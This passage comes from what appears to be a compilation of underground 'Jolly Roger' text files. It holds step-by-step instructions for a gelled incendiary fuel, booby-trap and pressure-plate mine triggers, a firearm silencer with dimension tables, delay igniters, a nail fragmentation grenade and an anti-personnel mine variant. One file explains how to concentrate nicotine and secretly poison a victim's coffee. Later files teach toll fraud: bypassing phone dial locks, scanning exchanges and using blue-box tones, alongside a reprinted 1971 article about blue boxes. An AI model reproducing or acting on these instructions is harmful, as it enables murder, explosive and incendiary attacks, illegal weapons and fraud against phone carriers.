Sweetening Sugar Cane +Foods Food Store +1 Saltpeter Pyrotechnics Natural +(Potassium Nitrate) Explosives Deposits +Matches Drug Store +Medicine +1 Epsom Salts Medicine Natural +Mineral Water Kisserite +Industrial Drug Store +Processes Food Store +2 Washing Soda Washing Cleaner Food Store +(Sal Soda) Medicine Drug Store +Photography Photo Supply +Store +1 Baking Soda Baking Food Store +Beverages Drug Store +Medicines +Mineral Waters +1 Aspirin Medicine Drug Store +Food Store +Procedure: +CAUTION: Make sure that there are no open flames in the area when mixing flame fuels! NO SMOKING!! +1.Separate the egg white from the yolk. This can be done by breaking the egg into a dish and carefully removing the yolk with a spoon. +2.Pour egg white into a jar, bottle, or other container, and add gasoline. +3.Add the salt (or other additive) to the mixture and stir occasionally until gel forms (about 5 to 10 minutes). +NOTE: A thicker gelled flame fuel can be obtained by putting the capped jar in hot (65�C) water for about hour and then letting them cool to +room temperature. (DO NOT HEAT THE GELLED FUEL CONTAINING COFFEE!!) +139.Clothespin Switch by The Jolly Roger +A spring type clothespin is used to make a circuit closing switch to actuate explosive charges, mines, booby traps, and alarm systems. +Material Required: + Spring type clothespin + Sold copper wire -- 1/16 in. (2 mm) in diameter + Strong string on wire + Flat piece of wood (roughly 1/8 x 1" x 2") + Knife +Procedure: +1.Strip four in. (10 cm) of insulation from the ends of 2 solid copper wires. Scrape the copper wires with pocket knife until the metal is shiny. +2.Wind one scraped wire tightly on jaw of the clothespin, and the other wire on the other jaw. +3.Make a hole in one end of the flat piece of wood using a knife, heated nail or drill. +4.Tie strong string or wire through the hole. +5.Place flat piece of wood between the jaws of the clothespin switch. +Basic Firing Circuit: +______________ +| |---------------------------\ +| initiator |----------\ | strong +-------------- | | twine +| | \ +| _---------_________ +| --------- +| | \clothespin +\ / +\ / switch +\ / +\ / +\ / ++ - +---------- +| | +| battery| +---------- +When the flat piece of wood is removed by pulling the string, the jaws of the clothespin will close, completing the circuit. +CAUTION: Do not attach the battery until the switch and trip wire have been emplaced and examined. Be sure that the flat piece of wood is +separating the jaws of the switch. +140.Flexible Plate Switch by The Jolly Roger +This flexible plate switch is used for initiating emplaced mines and explosives. +Material Required: + Two flexible metal sheets: + One approximately 10 in. (25 cm) square + One approximately 10 in. x 8 in. (20 cm) + Piece of wood 10 in. square x 1 in. thick + Four soft wood blocks 1 in. x 1 in. x in. + Eight flat head nails, 1 in. long + Connecting wires + Adhesive tape +Procedure: +1.Nail 10 in. by 8 in. metal sheet to 10 in. square piece of wood so that 1 in. of wood shows on each side of the metal. Leave one of the nails +sticking up about in. +2.Strip insulation from the end of one connecting wire. Wrap this end around the nail and drive the nail all the way in. +3.Place the four wood blocks on the corners of the wood base. +4.Place the 10 in. square flexible metal sheet so that it rests on the blocks in line with the wood base. +5.Drive four nails through the metal sheet and the blocks (1 per block) to fasten the sheet to the wood base. A second connecting wire is +attached to one of the nails as in step #2. +6.Wrap the adhesive tape around the edges of the plate and wood base. This will assure that no dirt or other foreign matter will get between +the plates and prevent the switch from operating. +How to use: +The switch is placed in a hole in the path of expected traffic and covered with a thin layer of dirt or other camouflaging material. The mine or +other explosive device connected to the switch can be buried with the switch or emplaced elsewhere as desired. +When a vehicle passes over the switch, the two metal plates make contact closing the firing circuit. +141.Low Signature Systems (Silencers) by The Jolly Roger +Low signature systems (silencers) for improvised small arms weapons can be made from steel gas or water pipe and fittings. +Material Required: + Grenade Container + Steel pipe nipple, 6 in. (15 cm) long - (see table 1 for diameter) + 2 steel pipe couplings - (see table 2 for dimensions) + Cotton cloth - (see table 2) + Drill + Absorbent cotton +Procedure: +1.Drill hole in grenade container at both ends to fit outside diameter of pipe nipple. (see table 1) +-> /---------------------- \ +/ | | +2.75 in | ) ( <-holes +dia. \ | | +-> \-----------------------/ +|-----------------------| +5 in. +2.Drill four rows of holes in pipe nipple. Use table 1 for diameter and location of holes. +(Note: I suck at ASCII art!) +6 in. +|-----------------------------------| +_____________________________________ ___ +| O O O O O O O O O O O O O O O O O | | C (nom. dia.) +------------------------------------- +(size of hole) | \ / (space between) +B (dia.) A +3.Thread one of the pipe couplings on the drilled pipe nipple. +4.Cut coupling length to allow barrel of weapon to thread fully into low signature system. Barrel should butt against end of the drilled pipe +nipple. +5.Separate the top half of the grenade container from the bottom half. +6.Insert the pipe nipple in the drilled hole at the base of the bottom half of the container. Pack the absorbent cotton inside the container and +around the pipe nipple. +7.Pack the absorbent cotton in top half of grenade container leaving hole in center. Assemble container to the bottom half. +8.Thread the other coupling onto the pipe nipple. +Note: A longer container and pipe nipple, with same "A" and "B" dimensions as those given, will further reduce the signature of the system. +How to use: +1.Thread the low signature system on the selected weapon securely. +2.Place the proper cotton wad size into the muzzle end of the system (see table 2) +3.Load weapon +4.Weapon is now ready for use +TABLE 1 +Low Signature System Dimensions +Coupling Holes per 4 rows +A B C D Row Total +.45 cal 3/8in �in 3/8in 3/8in 12 48 +.38 cal 3/8in �in �in �in 12 48 +9 mm 3/8in �in �in �in 12 48 +7.62 mm 3/8in �in �in �in 12 48 +.22 cal �in 5/32in 1/8*in 1/8in 14 50 +* Extra Heavy Pipe +TABLE 2 +Cotton Wadding Sizes +Weapon Cotton Wadding Size +.45 cal 1- x 6 inches +.38 cal 1 x 4 inches +9 mm 1 x 4 inches +7.62 mm 1 x 4 inches +.22 cal Not needed +142.Delay Igniter from a Cigarette by The Jolly Roger +A simple and economical (everyone wants to save money haha) time delay can be made with a common cigarette. +Materials Required: + Cigarette + Paper match + String (shoelace or similar cord) + Fuse cord (improvised or commercial) +Procedure: +1.Cut end of fuse cord at a slant to expose inner core +2.Light cigarette in normal fashion. Place a paper match so that the had is over exposed end of fuse cord and tie both to the side of the burning +cigarette with string. +3.Position the burning cigarette with fuse so that it burns freely. A suggested method is to hang the delay on a twig. +Note: Common dry cigarettes burn about 1 inch every 7 or 8 minutes in still air. (Now I am talking about all except American brands, which burn +about 1 inch every 4-5 minutes) If the fuse cord is place one inch from the burning end of the cigarette a time delay of 7 or 8 minutes will result. +Delay time will vary depending upon type of cigarette, wind, moisture, and other atmospheric conditions (get to know your cigarette!) To obtain +accurate delay time, a test run should be made under "use" conditions. +143.Nicotine by The Jolly Roger +Nicotine is an abundant poison. Easily found in tobacco products, in concentrated form a few drops can quickly kill someone. Here is how to +concentrate it: +First get a can of chewing tobacco or pipe tobacco. Remove the contents and soak in water overnight in a jar (about 2/3 cup of water will +do...). In the morning, strain into another jar the mixture through a porous towel. Then wrap the towel around the ball of tobacco and squeeze it +until all of the liquid is in the jar. Throw away the tobacco--you will not need it anymore. +Now you have two options. I recommend the first. It makes the nicotine more potent. +1.Allow to evaporate until a sticky syrup results in the jar. This is almost pure nicotine (hell, it is pure enough for sure!). +2.Heat over low flame until water is evaporated and a thick sticky syrup results (I don't know how long it takes... shouldn't take too +long, though.). +Now all you have to do, when you wish to use it, is to put a few drops in a medicine dropper or equivalent, and slip about 4 or 5 drops into the +victim's coffee. Coffee is recommended since it will disguise the taste. Since nicotine is a drug, the vic tim should get quite a buzz before they +turn their toes up to the daisies, so to speak. +Note: If the syrup is too sticky, dilute it with a few drops of water. And while you are at it, better add an extra drop to the coffee just to be +sure! +144.Dried Seed Timer by The Jolly Roger +A time delay device for electrical firing circuits can be made using the principle of expansion of dried seeds. +Material Required: + Dried peas, beans, or other dehydrated seeds + Wide-mouth glass jar with non-metal cap + Two screws or bolts + Thin metal plate + Hand drill + Screwdriver +Procedure: +1.Determine the rate of the rise of the dried seeds selected. This is necessary to determine the delay time of the timer. + Place a sample of the dried seeds in the jar and cover with water. + Measure the time it takes for the seeds to rise a given height. Most dried seeds increase 50% in one to two hours. +2.Cut a disc from thin metal plate. Disc should fit loosely inside the jar. +NOTE: If metal is painted, rusty, or otherwise coated, it must be scraped or sanded to obtain a clean metal surface +3.Drill two holes in the cap of the jar about 2 inches apart. Diameter of holes should be such that screws or bolts will thread tightly into them. If +the jar has a metal cap or no cap, a piece of wood or plastic (NOT METAL) can be used as a cover. +4.Turn the two screws or bolts through the holes in the cap. Bolts should extend about one in. (2 cm) into the jar. +IMPORTANT: Both bolts must extend the same distance below the container cover. +5.Pour dried seeds into the container. The level will depend upon the previously measured rise time and the desired delay. +6.Place the metal disc in the jar on top of the seeds. +How to use: +1.Add just enough water to completely cover the seeds and place the cap on the jar. +2.Attach connecting wires from the firing circuit to the two screws on the cap. +Expansion of the seeds will raise the metal disc until it contacts the screws and closes the circuit. +145.Nail Grenade by The Jolly Roger +Effective fragmentation grenades can be made from a block of TNT or other blasting explosive and nails. +Material Required: + Block of TNT or other blasting explosive + Nails + Non-electric (military or improvised) blasting cap + Fuse Cord + Tape, string, wire, or glue +Procedure: +1.If an explosive charge other than a standard TNT block is used, make a hole in the center of the charge for inserting the blasting cap. TNT +can be drilled with relative safety. With plastic explosives, a hole can be made by pressing a round stick into the center of the charge. The +hole should be deep enough that the blasting cap is totally within the explosive. +2.Tape, tie, or glue one or two rows of closely packed nails to the sides of the explosive block. Nails should completely cover the four +surfaces of the block. +3.Place blasting cap on one end of the fuse cord and crimp with pliers. +NOTE: To find out how long the fuse cord should be, check the time it takes a known length to burn. If 12 inches (30 cm) burns for 30 seconds, +a 10 second delay will require a 4 inch (10 cm) fuse. +4.Insert the blasting cap in the hole in the block of explosive. Tape or tie fuse cord securely in place so that it will not fall out when the grenade +is thrown. +Alternate Use: +An effective directional anti-personnel mine can be made by placing nails on only one side of the explosive block. For the case, and electric +blasting cap can be used. +146.The Bell Glossary by The Jolly Roger +ACD: Automatic Call Distributor - A system that automatically distributes calls to operator pools (providing services such as intercept and +directory assistance), to airline ticket agents, etc. +Administration: The tasks of record-keeping, monitoring, rearranging, prediction need for growth, etc. +AIS: Automatic Intercept System - A system employing an audio-response unit under control of a processor to automatically provide pertinent +info to callers routed to intercept. +Alert: To indicate the existence of an incoming call, (ringing). +ANI: Automatic Number Identification - Often pronounced "Annie," a facility for automatically identify the number of the calling party for charging +purposes. +Appearance: A connection upon a network terminal, as in "the line has two network appearances." +Attend: The operation of monitoring a line or an incoming trunk for off-hook or seizure, respectively. +Audible: The subdued "image" of ringing transmitted to the calling party during +ringing; not derived from the actual ringing signal in later systems. +Backbone Route: The route made up of final-group trunks between end offices in different regional center areas. +BHC: Busy Hour Calls - The number of calls placed in the busy hour. +Blocking: The ratio of unsuccessful to total attempts to use a facility; expresses as a probability when computed a priority. +Blocking Network: A network that, under certain conditions, may be unable to form a transmission path from one end of the network to the +other. In general, all networks used within the Bell Systems are of the blocking type. +Blue Box: Equipment used fraudulently to synthesize signals, gaining access to the toll network for the placement of calls without charge. +BORSCHT Circuit: A name for the line circuit in the central office. It functions as a mnemonic for the functions that must be performed by the +circuit: Battery, Overvoltage, Ringing, Supervision, Coding, Hybrid, and Testing. +Busy Signal: (Called-line-busy) An audible signal which, in the Bell System, comprises 480hz and 620hz interrupted at 60IPM. +Bylink: A special high-speed means used in crossbar equipment for routing calls incoming from a step-by-step office. Trunks from such offices +are often referred to as "bylink" trunks even when incoming to noncrossbar offices; they are more properly referred to as "dc incoming +trunks." Such high-speed means are necessary to assure that the first incoming pulse is not lost. +Cable Vault: The point which phone cable enters the Central Office building. +CAMA: Centralized Automatic Message Accounting - Pronounced like Alabama. +CCIS: Common Channel Interoffice Signaling - Signaling information for trunk connections over a separate, nonspeech data link rather that over +the trunks themselves. +CCITT: International Telegraph and Telephone Consultative Committee- An International committee that formulates plans and sets standards for +intercountry communication means. +CDO: Community Dial Office - A small usually rural office typically served by step -by-step equipment. +CO: Central Office - Comprises a switching network and its control and support equipment. Occasionally improperly used to mean "office +code." +Centrex: A service comparable in features to PBX service but implemented with some (Centrex CU) or all (Centrex CO) of the control in the +central office. In the later case, each station's loop connects to the central office. +Customer Loop: The wire pair connecting a customer's station to the central office. +DDD: Direct Distance Dialing - Dialing without operator assistance over the nationwide intertoll network. +Direct Trunk Group: A trunk group that is a direct connection between a given originating and a given terminating office. +EOTT: End Office Toll Trunking - Trunking between end offices in different toll center areas. +ESB: Emergency Service Bureau - A centralized agency to which 911 "universal" emergency calls are routed. +ESS: Electronic Switching System - A generic term used to identify as a class, stored-program switching systems such as the Bell System's +No.1 No.2, No.3, No.4, or No�. +ETS: Electronic Translation Systems - An electronic replacement for the card translator in 4A Crossbar systems. Makes use of the SPC 1A +Processor. +False Start: An aborted dialing attempt. +Fast Busy: (often called reorder) - An audible busy signal interrupted at twice the rate of the normal busy signal; sent to the originating station +to indicate that the call blocked due to busy equipment. +Final Trunk Group: The trunk group to which calls are routed when available high-usage trunks overflow; these groups generally "home" on an +office next highest in the hierarchy. +Full Group: A trunk group that does not permit rerouting off-contingent foreign traffic; there are seven such offices. +Glare: The situation that occurs when a two-way trunk is seized more or less simultaneously at both ends. +High Usage Trunk Group: The appellation for a trunk group that has alternate routes via other similar groups, and ultimately via a final trunk +group to a higher ranking office. +Intercept: The agency (usually an operator) to which calls are routed when made to a line recently removed from a service, or in some other +category requiring explanation. Automated versions (ASI) with automatic voice response units are growing in use. +Interrupt: The interruption on a phone line to disconnect and connect with another station, such as an Emergence Interrupt. +Junctor: A wire or circuit connection between networks in the same office. The functional equivalent to an intraoffice trunk. +MF: Multi-Frequency - The method of signaling over a trunk making use of the simultaneous application of two out of six possible frequencies. +NPA: Numbering Plan Area. +ONI: Operator Number Identification - The use of an operator in a CAMA office to verbally obtain the calling number of a call originating in an +office not equipped with ANI. +PBX: Private Branch Exchange - (PABX: Private Automatic Branch Exchange) An telephone office serving a private customer, Typically , +access to the outside telephone network is provided. +Permanent Signal: A sustained off-hook condition without activity (no dialing or ringing or completed connection); such a condition tends to tie +up equipment, especially in earlier systems. Usually accidental, but sometimes used intentionally by customers in high-crime -rate areas to +thwart off burglars. +POTS: Plain Old Telephone Service - Basic service with no extra "frills". +ROTL: Remote Office Test Line - A means for remotely testing trunks. +RTA: Remote Trunk Arrangement - An extension to the TSPS system permitting its services to be provided up to 200 miles from the TSPS site. +SF: Single Frequency. A signaling method for trunks: 2600hz is impressed upon idle trunks. +Supervise: To monitor the status of a call. +SxS: (Step-by-Step or Strowger switch) - An electromechanical office type utilizing a gross-motion stepping switch as a combination network +and distributed control. +Talkoff: The phenomenon of accidental synthesis of a machine-intelligible signal by human voice causing an unintended response. "whistling a +tone". +Trunk: A path between central offices; in general 2-wire for interlocal, 4-wire for intertoll. +TSPS: Traffic Service Position System - A system that provides, under stored-program control, efficient operator assistance for toll calls. It +does not switch the customer, but provides a bridge connection to the operator. +X-bar: (Crossbar) - An electromechanical office type utilizing a "fine-motion" coordinate switch and a multiplicity of central controls (called +markers). +There are four varieties: + No.1 Crossbar: Used in large urban office application; (1938) + No.3 Crossbar: A small system started in (1974). + No.4A/4M Crossbar: A 4-wire toll machine; (1943). + No Crossbar: A machine originally intended for relatively small suburban applications; (1948) +Crossbar Tandem: A machine used for interlocal office switching. +147.Phone Dial Locks -- How to Beat'em by The Jolly Roger +Have you ever been in an office or somewhere and wanted to make a free phone call but some asshole put a lock on the phone to prevent +out-going calls? Fret no more phellow phreak, for every system can be beaten with a little knowledge! +There are two ways to beat this obstacle, first pick the lock, I don't have the time to teach locksmithing so we go to the second method which +takes advantage of telephone electronics. +To be as simple as possible when you pick up the phone you complete a circuit known as a local loop. When you hang up you break the circuit. +When you dial (pulse) it also breaks the circuit but not long enough to hang up! So you can "Push-dial." To do this you >>> RAPIDLY <<< +depress the switchhook. For example, to dial an operator (and then give her the number you want to call) >>> RAPIDLY <<< & >>> EVENLY +<<< depress the switchhook 10 times. To dial 634-1268, depress 6 X'S pause, then 3 X'S, pause, then 4X'S, etc. It takes a little practice but +you'll get the hang of it. Try practicing with your own # so you'll get a busy tone when right. It'll also work on touch-tone since a DTMF line +will also accept pulse. Also, never depress the switchhook for more than a second or it'll hang up! +Finally, remember that you have just as much right to that phone as the asshole who put the lock on it! +148.Exchange Scanning by The Jolly Roger +Almost every exchange in the bell system has test #'s and other "goodies" such as loops with dial-ups. These "goodies" are usually found +between 9900 and 9999 in your local exchange. If you have the time and initiative, scan your exchange and you may become lucky! +Here are some findings in the 914-268 exchange: +9900 - ANI +9901 - ANI +9927 - OSC. TONE (POSSIBLE TONE SIDE OF A LOOP) +9936 - VOICE # TO THE TELCO CENTRAL OFFICE +9937 - VOICE # TO THE TELCO CENTRAL OFFICE +9941 - COMPUTER (DIGITAL VOICE TRANSMISSION?) +9960 - OSC. TONE (TONE SIDE LOOP) MAY ALSO BE A COMPUTER IN SOME EXCHANGES +9961 - NO RESPONSE (OTHER END OF LOOP?) +9962 - NO RESPONSE (OTHER END OF LOOP?) +9963 - NO RESPONSE (OTHER END OF LOOP?) +9966 - COMPUTER (SEE 9941) +9968 - TONE THAT DISAPPEARS--RESPONDS TO CERTAIN TOUCH-TONE KEYS +Most of the numbers between 9900 & 9999 will ring or go to a "what #, please?" operator. +149.A Short History of Phreaking by The Jolly Roger +Well now we know a little vocabulary, and now its into history, Phreak history. Back at MIT in 1964 arrived a student by the name of Stewart +Nelson, who was extremely interested in the telephone. Before entering MIT, he had built autodialers, cheese boxes, and many more gadgets. +But when he came to MIT he became even more interested in "fone-hacking" as they called it. After a little while he naturally started using the +PDP-1, the schools computer at that time, and from there he decided that it would be interesting to see whether the computer could generate +the frequencies required for blue boxing. The hackers at MIT were not interested in ripping off Ma Bell, but just exploring the telephone +network. Stew (as he was called) wrote a program to generate all the tones and set off into the vast network. +Now there were more people phreaking than the ones at MIT. Most people have heard of Captain Crunch (No not the cereal), he also +discovered how to take rides through the fone system, with the aid of a small whistle found in a cereal box (can we guess which one?). By +blowing this whistle, he generated the magical 2600hz and into the mouthpiece it sailed, giving him complete control over the system. I have +heard rumors that at one time he made about of the calls coming out of San Francisco. He got famous fast. He made the cover of people +magazine and was interviewed several times (as you'll soon see). Well he finally got caught after a long adventurous career. After he was +caught he was put in jail and was beaten up quite badly because he would not teach other inmates how to box calls. After getting out, he +joined Apple computer and is still out there somewhere. +Then there was Joe the Whistler, blind form the day he was born. He could whistle a perfect 2600hz tone. It was rumored phreaks used to call +him to tune their boxes. +Well that was up to about 1970, then from 1970 to 1979, phreaking was mainly done by college students, businessmen and anyone who knew +enough about electronics and the fone company to make a 555 Ic to generate those magic tones. Businessmen and a few college students +mainly just blue box to get free calls. The others were still there, exploring 800#'s and the new ESS systems. ESS posed a big problem for +phreaks then and even a bigger one now. ESS was not widespread, but where it was, blue boxing was next to impossible except for the most +experienced phreak. Today ESS is installed in almost all major cities and blue boxing is getting harder and harder. +1978 marked a change in phreaking, the Apple ][, now a computer that was affordable, could be programmed, and could save all that precious +work on a cassette. Then just a short while later came the Apple Cat modem. With this modem, generating all blue box tones was easy as +writing a program to count form one to ten (a little exaggerated). Pretty soon programs that could imitate an operator just as good as the real +thing were hitting the community, TSPS and Cat's Meow, are the standard now and are the best. +1982-1986: LD services were starting to appear in mass numbers. People now had programs to hack LD services, telephone exchanges, and +even passwords. By now many phreaks were getting extremely good and BBS's started to spring up everywhere, each having many +documentations on phreaking for the novice. Then it happened, the movie War Games was released and mass numbers of sixth grade to all +ages flocked to see it. The problem wasn't that the movie was bad, it was that now EVERYONE wanted to be a hacker/phreak. Novices came +out in such mass numbers, that bulletin boards started to be busy 24 hours a day. To this day, they still have not recovered. Other problems +started to occur, novices guessed easy passwords on large government computers and started to play around... Well it wasn't long before +they were caught, I think that many people remember the 414-hackers. They were so stupid as to say "yes" when the computer asked them +whether they'd like to play games. Well at least it takes the heat off the real phreaks/hacker/crackers. +150. "Secrets of the Little Blue Box" by Ron Rosenbaum +Dudes... These four files contain the story, "Secrets of the Little Blue Box". +-A story so incredible it may even make you feel sorry for the phone company- +Printed in the October 1971 issue of Esquire Magazine. If you happen to be in a library and come across a collection of Esquire magazines, the +October 1971 issue is the first issue printed in the smaller format. The story begins on page 116 with a picture of a blue box. +--One Farad Cap, Atlantic Anarchist Guild +The Blue Box Is Introduced: Its Qualities Are Remarked I am in the expensively furnished living room of Al Gilbertson (His real name has been +changed.), the creator of the "blue box." Gilbertson is holding one of his shiny black-and-silver "blue boxes" comfortably in the palm of his +hand, pointing out the thirteen little red push buttons sticking up from the console. He is dancing his fingers over the buttons, tapping out +discordant beeping electronic jingles. He is trying to explain to me how his little blue box does nothing less than place the entire telephone +system of the world, satellites, cables and all, at the service of the blue-box operator, free of charge. +"That's what it does. Essentially it gives you the power of a super operator. You seize a tandem with this top button," he presses the top +button with his index finger and the blue box emits a high-pitched cheep, "and like that" -- cheep goes the blue box again -- "you control the +phone company's long-distance switching systems from your cute little Princes phone or any old pay phone. And you've got anonymity. An +operator has to operate from a definite location: the phone company knows where she is and what she's doing. But with your beeper box, +once you hop onto a trunk, say from a Holiday Inn 800 (toll-free) number, they don't know where you are, or where you're coming from, they +don't know how you slipped into their lines and popped up in that 800 number. They don't even know anything illegal is going on. And you can +obscure your origins through as many levels as you like. You can call next door by way of White Plains, then over to Liverpool by cable, and +then back here by satellite. You can call yourself from one pay phone all the way around the world to a pay phone next to you. And you get +your dime back too." +"And they can't trace the calls? They can't charge you?" "Not if you do it the right way. But you'll find that the free-call thing isn't really as +exciting at first as the feeling of power you get from having one of these babies in your hand. I've watched people when they first get hold of +one of these things and start using it, and discover they can make connections, set up crisscross and zigzag switching patterns back and +forth across the world. They hardly talk to the people they finally reach. They say hello and start thinking of what kind of call to make next. +They go a little crazy." He looks down at the neat little package in his palm. His fingers are still dancing, tapping out beeper patterns. +"I think it's something to do with how small my models are. There are lots of blue boxes around, but mine are the smallest and most +sophisticated electronically. I wish I could show you the prototype we made for our big syndicate order." +He sighs. "We had this order for a thousand beeper boxes from a syndicate front man in Las Vegas. They use them to place bets coast to +coast, keep lines open for hours, all of which can get expensive if you have to pay. The deal was a thousand blue boxes for $300 apiece. +Before then we retailed them for $1500 apiece, but $300,000 in one lump was hard to turn down. We had a manufacturing deal worked out in +the Philippines. Everything ready to go. Anyway, the model I had ready for limited mass production was small enough to fit inside a flip-top +Marlboro box. It had flush touch panels for a keyboard, rather than these unsightly buttons, sticking out. Looked just like a tiny portable radio. In +fact, I had designed it with a tiny transistor receiver to get one AM channel, so in case the law became suspicious the owner could switch on +the radio part, start snapping his fingers, and no one could tell anything illegal was going on. I thought of everything for this model -- I had it +lined with a band of thermite which could be ignited by radio signal from a tiny button transmitter on your belt, so it could be burned to ashes +instantly in case of a bust. It was beautiful. A beautiful little machine. You should�ve seen the faces on these syndicate guys when they came +back after trying it out. They'd hold it in their palm like they never wanted to let it go, and they'd say, 'I can't believe it. I can't believe it.' You +probably won't believe it until you try it." +The Blue Box Is Tested: Certain Connections Are Made +About eleven o'clock two nights later Fraser Lucey has a blue box in the palm of his left hand and a phone in the palm of his right. He is +standing inside a phone booth next to an isolated shut-down motel off Highway 1. I am standing outside the phone booth. +Fraser likes to show off his blue box for people. Until a few weeks ago when Pacific Telephone made a few arrests in his city, Fraser Lucey +liked to bring his blue box (This particular blue box, like most blue boxes, is not blue. Blue boxes have come to be called "blue boxes" either +because 1) The first blue box ever confiscated by phone-company security men happened to be blue, or 2) To distinguish them from "black +boxes." Black boxes are devices, usually a resistor in series, which, when attached to home phones, allow all incoming calls to be made +without charge to one's caller.) to parties. It never failed: A few cheeps from his device and Fraser became the center of attention at the very +hippest of gatherings, playing phone tricks and doing request numbers for hours. He began to take orders for his manufacturer in Mexico. He +became a dealer. +Fraser is cautious now about where he shows off his blue box. But he never gets tired of playing with it. "It's like the first time every time," he +tells me. +Fraser puts a dime in the slot. He listens for a tone and holds the receiver up to my ear. I hear the tone. Fraser begins describing, with a certain +practiced air, what he does while he does it. "I'm dialing an 800 number now. Any 800 number will do. It's toll free. Tonight I think I'll use the ---- +- (he names a well-know rent-a-car company) 800 number. Listen, It's ringing. Here, you hear it? Now watch." He places the blue box over the +mouthpiece of the phone so that the one silver and twelve black push buttons are facing up toward me. He presses the silver button -- the one +at the top -- and I hear that high-pitched beep. "That's 2600 cycles per second to be exact," says Lucey. "Now, quick. Listen." He shoves the +earpiece at me. The ringing has vanished. The line gives a slight hiccough, there is a sharp buzz, and then nothing but soft white noise. +"We're home free now," Lucey tells me, taking back the phone and applying the blue box to its mouthpiece once again. "We're up on a tandem, +into a long-lines trunk. Once you're up on a tandem, you can send yourself anywhere you want to go." He decides to check out London first. +He chooses a certain pay phone located in Waterloo Station. This particular pay phone is popular with the phone-phreaks network because +there are usually people walking by at all hours who will pick it up and talk for a while. +He presses the lower left-hand corner button which is marked "KP" on the face of the box. "That's Key Pulse. It tells the tandem we're ready to +give it instructions. First I'll punch out KP 182 START, which will slide us into the overseas sender in White Plains." I hear a neat clunk-cheep. "I +think we'll head over to England by satellite. Cable is actually faster and the connection is somewhat better, but I like going by satellite. So I just +punch out KP Zero 44. The Zero is supposed to guarantee a satellite connection and 44 is the country code for England. Okay... we're there. In +Liverpool actually. Now all I have to do is punch out the London area code which is 1, and dial up the pay phone. Here, listen, I've got a ring +now." +I hear the soft quick purr-purr of a London ring. Then someone picks up the phone. +"Hello," says the London voice. +"Hello. Who's this?" Fraser asks. +"Hello. There's actually nobody here. I just picked this up while I was passing by. This is a public phone. There's no one here to answer +actually." +"Hello. Don't hang up. I'm calling from the United States." +"Oh. What is the purpose of the call? This is a public phone you know." +"Oh. You know. To check out, uh, to find out what's going on in London. How is it there?" +"Its five o'clock in the morning. It's raining now." +"Oh. Who are you?" +The London passerby turns out to be an R.A.F. enlistee on his way back to the base in Lincolnshire, with a terrible hangover after a thirty-sixhour +pass. He and Fraser talk about the rain. They agree that it's nicer when it's not raining. They say good-bye and Fraser hangs up. His dime +returns with a nice clink. +"Isn't that far out," he says grinning at me. "London, like that." +Fraser squeezes the little blue box affectionately in his palm. "I told ya this thing is for real. Listen, if you don't mind I'm gonna try this girl I know +in Paris. I usually give her a call around this time. It freaks her out. This time I'll use the ------ (a different rent-a-car company) 800 number and +we'll go by overseas cable, 133; 33 is the country code for France, the 1 sends you by cable. Okay, here we go.... Oh damn. Busy. Who could +she be talking to at this time?" +A state police car cruises slowly by the motel. The car does not stop, but Fraser gets nervous. We hop back into his car and drive ten miles in +the opposite direction until we reach a Texaco station locked up for the night. We pull up to a phone booth by the tire pump. Fraser dashes +inside and tries the Paris number. It is busy again. +"I don't understand who she could be talking to. The circuits may be busy. It's too bad I haven't learned how to tap into lines overseas with this +thing yet." +Fraser begins to phreak around, as the phone phreaks say. He dials a leading nationwide charge card's 800 number and punches out the +tones that bring him the time recording in Sydney, Australia. He beeps up the weather recording in Rome, in Italian of course. He calls a friend +in Boston and talks about a certain over -the-counter stock they are into heavily. He finds the Paris number busy again. He calls up "Dial a Disc" +in London, and we listen to Double Barrel by David and Ansil Collins, the number-one hit of the week in London. He calls up a dealer of another +sort and talks in code. He calls up Joe Engressia, the original blind phone-phreak genius, and pays his respects. There are other calls. Finally +Fraser gets through to his young lady in Paris. +They both agree the circuits must have been busy, and criticize the Paris telephone system. At two-thirty in the morning Fraser hangs up, +pockets his dime, and drives off, steering with one hand, holding what he calls his "lovely little blue box" in the other. +You Can Call Long Distance For Less Than You Think +"You see, a few years ago the phone company made one big mistake," Gilbertson explains two days later in his apartment. "They were +careless enough to let some technical journal publish the actual frequencies used to create all their multi-frequency tones. Just a theoretical +article some Bell Telephone Laboratories engineer was doing about switching theory, and he listed the tones in passing. At ----- (a wellknown +technical school) I had been fooling around with phones for several years before I came across a copy of the journal in the engineering +library. I ran back to the lab and it took maybe twelve hours from the time I saw that article to put together the first working blue box. It was +bigger and clumsier than this little baby, but it worked." +It's all there on public record in that technical journal written mainly by Bell Lab people for other telephone engineers. Or at least it was public. +"Just try and get a copy of that issue at some engineering-school library now. +Bell has had them all red-tagged and withdrawn from circulation," Gilbertson tells me. +"But it's too late. It's all public now. And once they became public the technology needed to create your own beeper device is within the range +of any twelve-year -old kid, any twelve-year-old blind kid as a matter of fact. And he can do it in less than the twelve hours it took us. Blind kids +do it all the time. They can't build anything as precise and compact as my beeper box, but theirs can do anything mine can do." +"How?" +"Okay. About twenty years ago AT&T. made a multi-billion -dollar decision to operate its entire long-distance switching system on twelve +electronically generated combinations of twelve master tones. Those are the tones you sometimes hear in the background after you've dialed a +long-distance number. They decided to use some very simple tones -- the tone for each number is just two fixed single-frequency tones +played simultaneously to create a certain beat frequency. Like 1300 cycles per second and 900 cycles per second played together give you +the tone for digit 5. Now, what some of these phone phreaks have done is get themselves access to an electric organ. Any cheap family +home-entertainment organ. Since the frequencies are public knowledge now -- one blind phone phreak has even had them recorded in one of +the talking books for the blind -- they just have to find the musical notes on the organ which correspond to the phone tones. Then they tape +them. For instance, to get Ma Bell's tone for the number 1, you press down organ keys F~5 and A~5 (900 and 700 cycles per second) at the +same time. To produce the tone for 2 it's F~5 and C~6 (1100 and 700 cps). The phone phreaks circulate the whole list of notes so there's no +trial and error anymore." +He shows me a list of the rest of the phone numbers and the two electric organ keys that produce them. +"Actually, you have to record these notes at 3 3/4 inches -per-second tape speed and double it to 7 inches-per-second when you play them +back, to get the proper tones," he adds. +"So once you have all the tones recorded, how do you plug them into the phone system?" +"Well, they take their organ and their cassette recorder, and start banging out entire phone numbers in tones on the organ, including country +codes, routing instructions, 'KP' and 'Start' tones. Or, if they don't have an organ, someone in the phone-phreak network sends them a +cassette with all the tones recorded, with a voice saying 'Number one,' then you have the tone, 'Number two,' then the tone and so on. So with +two cassette recorders they can put together a series of phone numbers by switching back and forth from number to number. Any idiot in the +country with a cheap cassette recorder can make all the free calls he wants." +"You mean you just hold the cassette recorder up the mouthpiece and switch in a series of beeps you've recorded? The phone thinks that +anything that makes these tones must be its own equipment?" +"Right. As long as you get the frequency within thirty cycles per second of the phone company's tones, the phone equipment thinks it hears its +own voice talking to it. The original granddaddy phone phreak was this blind kid with perfect pitch, Joe Engressia, who used to whistle into the +phone. An operator 